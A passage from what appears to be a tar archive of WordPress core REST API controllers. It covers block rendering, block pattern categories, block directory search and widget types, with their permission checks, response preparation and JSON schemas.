							'description'       => __( 'Attributes for the block.' ),
							'type'              => 'object',
							'default'           => array(),
							'validate_callback' => static function ( $value, $request ) {
								$block = WP_Block_Type_Registry::get_instance()->get_registered( $request['name'] );

								if ( ! $block ) {
									// This will get rejected in ::get_item().
									return true;
								}

								$schema = array(
									'type'                 => 'object',
									'properties'           => $block->get_attributes(),
									'additionalProperties' => false,
								);

								return rest_validate_value_from_schema( $value, $schema );
							},
							'sanitize_callback' => static function ( $value, $request ) {
								$block = WP_Block_Type_Registry::get_instance()->get_registered( $request['name'] );

								if ( ! $block ) {
									// This will get rejected in ::get_item().
									return true;
								}

								$schema = array(
									'type'                 => 'object',
									'properties'           => $block->get_attributes(),
									'additionalProperties' => false,
								);

								return rest_sanitize_value_from_schema( $value, $schema );
							},
						),
						'post_id'    => array(
							'description' => __( 'ID of the post context.' ),
							'type'        => 'integer',
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to read blocks.
	 *
	 * @since 5.0.0
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param WP_REST_Request $request Request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		global $post;

		$post_id = isset( $request['post_id'] ) ? (int) $request['post_id'] : 0;

		if ( $post_id > 0 ) {
			$post = get_post( $post_id );

			if ( ! $post || ! current_user_can( 'edit_post', $post->ID ) ) {
				return new WP_Error(
					'block_cannot_read',
					__( 'Sorry, you are not allowed to read blocks of this post.' ),
					array(
						'status' => rest_authorization_required_code(),
					)
				);
			}
		} else {
			if ( ! current_user_can( 'edit_posts' ) ) {
				return new WP_Error(
					'block_cannot_read',
					__( 'Sorry, you are not allowed to read blocks as this user.' ),
					array(
						'status' => rest_authorization_required_code(),
					)
				);
			}
		}

		return true;
	}

	/**
	 * Returns block output from block's registered render_callback.
	 *
	 * @since 5.0.0
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		global $post;

		$post_id = isset( $request['post_id'] ) ? (int) $request['post_id'] : 0;

		if ( $post_id > 0 ) {
			$post = get_post( $post_id );

			// Set up postdata since this will be needed if post_id was set.
			setup_postdata( $post );
		}

		$registry   = WP_Block_Type_Registry::get_instance();
		$registered = $registry->get_registered( $request['name'] );

		if ( null === $registered || ! $registered->is_dynamic() ) {
			return new WP_Error(
				'block_invalid',
				__( 'Invalid block.' ),
				array(
					'status' => 404,
				)
			);
		}

		$attributes = $request->get_param( 'attributes' );

		// Create an array representation simulating the output of parse_blocks.
		$block = array(
			'blockName'    => $request['name'],
			'attrs'        => $attributes,
			'innerHTML'    => '',
			'innerContent' => array(),
		);

		// Render using render_block to ensure all relevant filters are used.
		$data = array(
			'rendered' => render_block( $block ),
		);

		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves block's output schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->schema;
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/schema#',
			'title'      => 'rendered-block',
			'type'       => 'object',
			'properties' => array(
				'rendered' => array(
					'description' => __( 'The rendered block.' ),
					'type'        => 'string',
					'required'    => true,
					'context'     => array( 'edit' ),
				),
			),
		);

		return $this->schema;
	}
}
endpoints/class-wp-rest-block-pattern-categories-controller.php000064400000011316151724720270021044 0ustar00<?php
/**
 * REST API: WP_REST_Block_Pattern_Categories_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since      6.0.0
 */

/**
 * Core class used to access block pattern categories via the REST API.
 *
 * @since 6.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Block_Pattern_Categories_Controller extends WP_REST_Controller {

	/**
	 * Constructs the controller.
	 *
	 * @since 6.0.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'block-patterns/categories';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 6.0.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read block patterns.
	 *
	 * @since 6.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view',
			__( 'Sorry, you are not allowed to view the registered block pattern categories.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Retrieves all block pattern categories.
	 *
	 * @since 6.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		$response   = array();
		$categories = WP_Block_Pattern_Categories_Registry::get_instance()->get_all_registered();
		foreach ( $categories as $category ) {
			$prepared_category = $this->prepare_item_for_response( $category, $request );
			$response[]        = $this->prepare_response_for_collection( $prepared_category );
		}

		return rest_ensure_response( $response );
	}

	/**
	 * Prepare a raw block pattern category before it gets output in a REST API response.
	 *
	 * @since 6.0.0
	 *
	 * @param array           $item    Raw category as registered, before any changes.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );
		$keys   = array( 'name', 'label', 'description' );
		$data   = array();
		foreach ( $keys as $key ) {
			if ( isset( $item[ $key ] ) && rest_is_field_included( $key, $fields ) ) {
				$data[ $key ] = $item[ $key ];
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves the block pattern category schema, conforming to JSON Schema.
	 *
	 * @since 6.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'block-pattern-category',
			'type'       => 'object',
			'properties' => array(
				'name'        => array(
					'description' => __( 'The category name.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'label'       => array(
					'description' => __( 'The category label, in human readable format.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'description' => array(
					'description' => __( 'The category description, in human readable format.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-block-directory-controller.php000064400000023332151724720270017251 0ustar00<?php
/**
 * REST API: WP_REST_Block_Directory_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.5.0
 */

/**
 * Controller which provides REST endpoint for the blocks.
 *
 * @since 5.5.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Block_Directory_Controller extends WP_REST_Controller {

	/**
	 * Constructs the controller.
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'block-directory';
	}

	/**
	 * Registers the necessary REST API routes.
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/search',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to install and activate plugins.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has permission, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( ! current_user_can( 'install_plugins' ) || ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_block_directory_cannot_view',
				__( 'Sorry, you are not allowed to browse the block directory.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Search and retrieve blocks metadata
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$response = plugins_api(
			'query_plugins',
			array(
				'block'    => $request['term'],
				'per_page' => $request['per_page'],
				'page'     => $request['page'],
			)
		);

		if ( is_wp_error( $response ) ) {
			$response->add_data( array( 'status' => 500 ) );

			return $response;
		}

		$result = array();

		foreach ( $response->plugins as $plugin ) {
			// If the API returned a plugin with empty data for 'blocks', skip it.
			if ( empty( $plugin['blocks'] ) ) {
				continue;
			}

			$data     = $this->prepare_item_for_response( $plugin, $request );
			$result[] = $this->prepare_response_for_collection( $data );
		}

		return rest_ensure_response( $result );
	}

	/**
	 * Parse block metadata for a block, and prepare it for an API response.
	 *
	 * @since 5.5.0
	 * @since 5.9.0 Renamed `$plugin` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param array           $item    The plugin metadata.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$plugin = $item;

		$fields = $this->get_fields_for_response( $request );

		// There might be multiple blocks in a plugin. Only the first block is mapped.
		$block_data = reset( $plugin['blocks'] );

		// A data array containing the properties we'll return.
		$block = array(
			'name'                => $block_data['name'],
			'title'               => ( $block_data['title'] ? $block_data['title'] : $plugin['name'] ),
			'description'         => wp_trim_words( $plugin['short_description'], 30, '...' ),
			'id'                  => $plugin['slug'],
			'rating'              => $plugin['rating'] / 20,
			'rating_count'        => (int) $plugin['num_ratings'],
			'active_installs'     => (int) $plugin['active_installs'],
			'author_block_rating' => $plugin['author_block_rating'] / 20,
			'author_block_count'  => (int) $plugin['author_block_count'],
			'author'              => wp_strip_all_tags( $plugin['author'] ),
			'icon'                => ( isset( $plugin['icons']['1x'] ) ? $plugin['icons']['1x'] : 'block-default' ),
			'last_updated'        => gmdate( 'Y-m-d\TH:i:s', strtotime( $plugin['last_updated'] ) ),
			'humanized_updated'   => sprintf(
				/* translators: %s: Human-readable time difference. */
				__( '%s ago' ),
				human_time_diff( strtotime( $plugin['last_updated'] ) )
			),
		);

		$this->add_additional_fields_to_object( $block, $request );

		$response = new WP_REST_Response( $block );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $plugin ) );
		}

		return $response;
	}

	/**
	 * Generates a list of links to include in the response for the plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param array $plugin The plugin data from WordPress.org.
	 * @return array
	 */
	protected function prepare_links( $plugin ) {
		$links = array(
			'https://api.w.org/install-plugin' => array(
				'href' => add_query_arg( 'slug', urlencode( $plugin['slug'] ), rest_url( 'wp/v2/plugins' ) ),
			),
		);

		$plugin_file = $this->find_plugin_for_slug( $plugin['slug'] );

		if ( $plugin_file ) {
			$links['https://api.w.org/plugin'] = array(
				'href'       => rest_url( 'wp/v2/plugins/' . substr( $plugin_file, 0, - 4 ) ),
				'embeddable' => true,
			);
		}

		return $links;
	}

	/**
	 * Finds an installed plugin for the given slug.
	 *
	 * @since 5.5.0
	 *
	 * @param string $slug The WordPress.org directory slug for a plugin.
	 * @return string The plugin file found matching it.
	 */
	protected function find_plugin_for_slug( $slug ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$plugin_files = get_plugins( '/' . $slug );

		if ( ! $plugin_files ) {
			return '';
		}

		$plugin_files = array_keys( $plugin_files );

		return $slug . '/' . reset( $plugin_files );
	}

	/**
	 * Retrieves the theme's schema, conforming to JSON Schema.
	 *
	 * @since 5.5.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'block-directory-item',
			'type'       => 'object',
			'properties' => array(
				'name'                => array(
					'description' => __( 'The block name, in namespace/block-name format.' ),
					'type'        => 'string',
					'context'     => array( 'view' ),
				),
				'title'               => array(
					'description' => __( 'The block title, in human readable format.' ),
					'type'        => 'string',
					'context'     => array( 'view' ),
				),
				'description'         => array(
					'description' => __( 'A short description of the block, in human readable format.' ),
					'type'        => 'string',
					'context'     => array( 'view' ),
				),
				'id'                  => array(
					'description' => __( 'The block slug.' ),
					'type'        => 'string',
					'context'     => array( 'view' ),
				),
				'rating'              => array(
					'description' => __( 'The star rating of the block.' ),
					'type'        => 'number',
					'context'     => array( 'view' ),
				),
				'rating_count'        => array(
					'description' => __( 'The number of ratings.' ),
					'type'        => 'integer',
					'context'     => array( 'view' ),
				),
				'active_installs'     => array(
					'description' => __( 'The number sites that have activated this block.' ),
					'type'        => 'integer',
					'context'     => array( 'view' ),
				),
				'author_block_rating' => array(
					'description' => __( 'The average rating of blocks published by the same author.' ),
					'type'        => 'number',
					'context'     => array( 'view' ),
				),
				'author_block_count'  => array(
					'description' => __( 'The number of blocks published by the same author.' ),
					'type'        => 'integer',
					'context'     => array( 'view' ),
				),
				'author'              => array(
					'description' => __( 'The WordPress.org username of the block author.' ),
					'type'        => 'string',
					'context'     => array( 'view' ),
				),
				'icon'                => array(
					'description' => __( 'The block icon.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view' ),
				),
				'last_updated'        => array(
					'description' => __( 'The date when the block was last updated.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view' ),
				),
				'humanized_updated'   => array(
					'description' => __( 'The date when the block was last updated, in human readable format.' ),
					'type'        => 'string',
					'context'     => array( 'view' ),
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the search params for the blocks collection.
	 *
	 * @since 5.5.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['term'] = array(
			'description' => __( 'Limit result set to blocks matching the search term.' ),
			'type'        => 'string',
			'required'    => true,
			'minLength'   => 1,
		);

		unset( $query_params['search'] );

		/**
		 * Filters REST API collection parameters for the block directory controller.
		 *
		 * @since 5.5.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_block_directory_collection_params', $query_params );
	}
}
endpoints/class-wp-rest-widget-types-controller.php000064400000045441151724720270016607 0ustar00<?php
/**
 * REST API: WP_REST_Widget_Types_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.8.0
 */

/**
 * Core class to access widget types via the REST API.
 *
 * @since 5.8.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Widget_Types_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 5.8.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'widget-types';
	}

	/**
	 * Registers the widget type routes.
	 *
	 * @since 5.8.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[a-zA-Z0-9_-]+)',
			array(
				'args'   => array(
					'id' => array(
						'description' => __( 'The widget type id.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[a-zA-Z0-9_-]+)/encode',
			array(
				'args' => array(
					'id'        => array(
						'description' => __( 'The widget type id.' ),
						'type'        => 'string',
						'required'    => true,
					),
					'instance'  => array(
						'description' => __( 'Current instance settings of the widget.' ),
						'type'        => 'object',
					),
					'form_data' => array(
						'description'       => __( 'Serialized widget form data to encode into instance settings.' ),
						'type'              => 'string',
						'sanitize_callback' => static function ( $form_data ) {
							$array = array();
							wp_parse_str( $form_data, $array );
							return $array;
						},
					),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'callback'            => array( $this, 'encode_form_data' ),
				),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[a-zA-Z0-9_-]+)/render',
			array(
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'callback'            => array( $this, 'render' ),
					'args'                => array(
						'id'       => array(
							'description' => __( 'The widget type id.' ),
							'type'        => 'string',
							'required'    => true,
						),
						'instance' => array(
							'description' => __( 'Current instance settings of the widget.' ),
							'type'        => 'object',
						),
					),
				),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read widget types.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		return $this->check_read_permission();
	}

	/**
	 * Retrieves the list of all widget types.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		$data = array();
		foreach ( $this->get_widgets() as $widget ) {
			$widget_type = $this->prepare_item_for_response( $widget, $request );
			$data[]      = $this->prepare_response_for_collection( $widget_type );
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to read a widget type.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$check = $this->check_read_permission();
		if ( is_wp_error( $check ) ) {
			return $check;
		}
		$widget_id   = $request['id'];
		$widget_type = $this->get_widget( $widget_id );
		if ( is_wp_error( $widget_type ) ) {
			return $widget_type;
		}

		return true;
	}

	/**
	 * Checks whether the user can read widget types.
	 *
	 * @since 5.8.0
	 *
	 * @return true|WP_Error True if the widget type is visible, WP_Error otherwise.
	 */
	protected function check_read_permission() {
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_manage_widgets',
				__( 'Sorry, you are not allowed to manage widgets on this site.' ),
				array(
					'status' => rest_authorization_required_code(),
				)
			);
		}

		return true;
	}

	/**
	 * Gets the details about the requested widget.
	 *
	 * @since 5.8.0
	 *
	 * @param string $id The widget type id.
	 * @return array|WP_Error The array of widget data if the name is valid, WP_Error otherwise.
	 */
	public function get_widget( $id ) {
		foreach ( $this->get_widgets() as $widget ) {
			if ( $id === $widget['id'] ) {
				return $widget;
			}
		}

		return new WP_Error( 'rest_widget_type_invalid', __( 'Invalid widget type.' ), array( 'status' => 404 ) );
	}

	/**
	 * Normalize array of widgets.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 * @global array             $wp_registered_widgets The list of registered widgets.
	 *
	 * @return array Array of widgets.
	 */
	protected function get_widgets() {
		global $wp_widget_factory, $wp_registered_widgets;

		$widgets = array();

		foreach ( $wp_registered_widgets as $widget ) {
			$parsed_id     = wp_parse_widget_id( $widget['id'] );
			$widget_object = $wp_widget_factory->get_widget_object( $parsed_id['id_base'] );

			$widget['id']       = $parsed_id['id_base'];
			$widget['is_multi'] = (bool) $widget_object;

			if ( isset( $widget['name'] ) ) {
				$widget['name'] = html_entity_decode( $widget['name'], ENT_QUOTES, get_bloginfo( 'charset' ) );
			}

			if ( isset( $widget['description'] ) ) {
				$widget['description'] = html_entity_decode( $widget['description'], ENT_QUOTES, get_bloginfo( 'charset' ) );
			}

			unset( $widget['callback'] );

			$classname = '';
			foreach ( (array) $widget['classname'] as $cn ) {
				if ( is_string( $cn ) ) {
					$classname .= '_' . $cn;
				} elseif ( is_object( $cn ) ) {
					$classname .= '_' . get_class( $cn );
				}
			}
			$widget['classname'] = ltrim( $classname, '_' );

			$widgets[ $widget['id'] ] = $widget;
		}

		ksort( $widgets );

		return $widgets;
	}

	/**
	 * Retrieves a single widget type from the collection.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$widget_id   = $request['id'];
		$widget_type = $this->get_widget( $widget_id );
		if ( is_wp_error( $widget_type ) ) {
			return $widget_type;
		}
		$data = $this->prepare_item_for_response( $widget_type, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Prepares a widget type object for serialization.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Renamed `$widget_type` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param array           $item    Widget type data.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Widget type data.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$widget_type = $item;

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php */
			return apply_filters( 'rest_prepare_widget_type', new WP_REST_Response( array() ), $widget_type, $request );
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = array(
			'id' => $widget_type['id'],
		);

		$schema       = $this->get_item_schema();
		$extra_fields = array(
			'name',
			'description',
			'is_multi',
			'classname',
			'widget_class',
			'option_name',
			'customize_selective_refresh',
		);

		foreach ( $extra_fields as $extra_field ) {
			if ( ! rest_is_field_included( $extra_field, $fields ) ) {
				continue;
			}

			if ( isset( $widget_type[ $extra_field ] ) ) {
				$field = $widget_type[ $extra_field ];
			} elseif ( array_key_exists( 'default', $schema['properties'][ $extra_field ] ) ) {
				$field = $schema['properties'][ $extra_field ]['default'];
			} else {
				$field = '';
			}

			$data[ $extra_field ] = rest_sanitize_value_from_schema( $field, $schema['properties'][ $extra_field ] );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $widget_type ) );
		}

		/**
		 * Filters the REST API response for a widget type.
		 *
		 * @since 5.8.0
		 *
		 * @param WP_REST_Response $response    The response object.
		 * @param array            $widget_type The array of widget data.
		 * @param WP_REST_Request  $request     The request object.
		 */
		return apply_filters( 'rest_prepare_widget_type', $response, $widget_type, $request );
	}

	/**
	 * Prepares links for the widget type.
	 *
	 * @since 5.8.0
	 *
	 * @param array $widget_type Widget type data.
	 * @return array Links for the given widget type.
	 */
	protected function prepare_links( $widget_type ) {
		return array(
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'self'       => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $widget_type['id'] ) ),
			),
		);
	}

	/**
	 * Retrieves the widget type's schema, conforming to JSON Schema.
	 *
	 * @since 5.8.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'widget-type',
			'type'       => 'object',
			'properties' => array(
				'id'          => array(
					'description' => __( 'Unique slug identifying the widget type.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'name'        => array(
					'description' => __( 'Human-readable name identifying the widget type.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'description' => array(
					'description' => __( 'Description of the widget.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'is_multi'    => array(
					'description' => __( 'Whether the widget supports multiple instances' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'classname'   => array(
					'description' => __( 'Class name' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * An RPC-style endpoint which can be used by clients to turn user input in
	 * a widget admin form into an encoded instance object.
	 *
	 * Accepts:
	 *
	 * - id:        A widget type ID.
	 * - instance:  A widget's encoded instance object. Optional.
	 * - form_data: Form data from submitting a widget's admin form. Optional.
	 *
	 * Returns:
	 * - instance: The encoded instance object after updating the widget with
	 *             the given form data.
	 * - form:     The widget's admin form after updating the widget with the
	 *             given form data.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function encode_form_data( $request ) {
		global $wp_widget_factory;

		$id            = $request['id'];
		$widget_object = $wp_widget_factory->get_widget_object( $id );

		if ( ! $widget_object ) {
			return new WP_Error(
				'rest_invalid_widget',
				__( 'Cannot preview a widget that does not extend WP_Widget.' ),
				array( 'status' => 400 )
			);
		}

		/*
		 * Set the widget's number so that the id attributes in the HTML that we
		 * return are predictable.
		 */
		if ( isset( $request['number'] ) && is_numeric( $request['number'] ) ) {
			$widget_object->_set( (int) $request['number'] );
		} else {
			$widget_object->_set( -1 );
		}

		if ( isset( $request['instance']['encoded'], $request['instance']['hash'] ) ) {
			$serialized_instance = base64_decode( $request['instance']['encoded'] );
			if ( ! hash_equals( wp_hash( $serialized_instance ), $request['instance']['hash'] ) ) {
				return new WP_Error(
					'rest_invalid_widget',
					__( 'The provided instance is malformed.' ),
					array( 'status' => 400 )
				);
			}
			$instance = unserialize( $serialized_instance );
		} else {
			$instance = array();
		}

		if (
			isset( $request['form_data'][ "widget-$id" ] ) &&
			is_array( $request['form_data'][ "widget-$id" ] )
		) {
			$new_instance = array_values( $request['form_data'][ "widget-$id" ] )[0];
			$old_instance = $instance;

			$instance = $widget_object->update( $new_instance, $old_instance );

			/** This filter is documented in wp-includes/class-wp-widget.php */
			$instance = apply_filters(
				'widget_update_callback',
				$instance,
				$new_instance,
				$old_instance,
				$widget_object
			);
		}

		$serialized_instance = serialize( $instance );
		$widget_key          = $wp_widget_factory->get_widget_key( $id );

		$response = array(
			'form'     => trim(
				$this->get_widget_form(
					$widget_object,
					$instance
				)
			),
			'preview'  => trim(
				$this->get_widget_preview(
					$widget_key,
					$instance
				)
			),
			'instance' => array(
				'encoded' => base64_encode( $serialized_instance ),
				'hash'    => wp_hash( $serialized_instance ),
			),
		);

		if ( ! empty( $widget_object->widget_options['show_instance_in_rest'] ) ) {
			// Use new stdClass so that JSON result is {} and not [].
			$response['instance']['raw'] = empty( $instance ) ? new stdClass() : $instance;
		}

		return rest_ensure_response( $response );
	}

	/**
	 * Returns the output of WP_Widget::widget() when called with the provided
	 * instance. Used by encode_form_data() to preview a widget.

	 * @since 5.8.0
	 *
	 * @param string    $widget   The widget's PHP class name (see class-wp-widget.php).
	 * @param array     $instance Widget instance settings.
	 * @return string
	 */
	private function get_widget_preview( $widget, $instance ) {
		ob_start();
		the_widget( $widget, $instance );
		return ob_get_clean();
	}

	/**
	 * Returns the output of WP_Widget::form() when called with the provided
	 * instance. Used by encode_form_data() to preview a widget's form.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_Widget $widget_object Widget object to call widget() on.
	 * @param array     $instance Widget instance settings.
	 * @return string
	 */
	private function get_widget_form( $widget_object, $instance ) {
		ob_start();

		/** This filter is documented in wp-includes/class-wp-widget.php */
		$instance = apply_filters(
			'widget_form_callback',
			$instance,
			$widget_object
		);

		if ( false !== $instance ) {
			$return = $widget_object->form( $instance );

			/** This filter is documented in wp-includes/class-wp-widget.php */
			do_action_ref_array(
				'in_widget_form',
				array( &$widget_object, &$return, $instance )
			);
		}

		return ob_get_clean();
	}

	/**
	 * Renders a single Legacy Widget and wraps it in a JSON-encodable array.
	 *
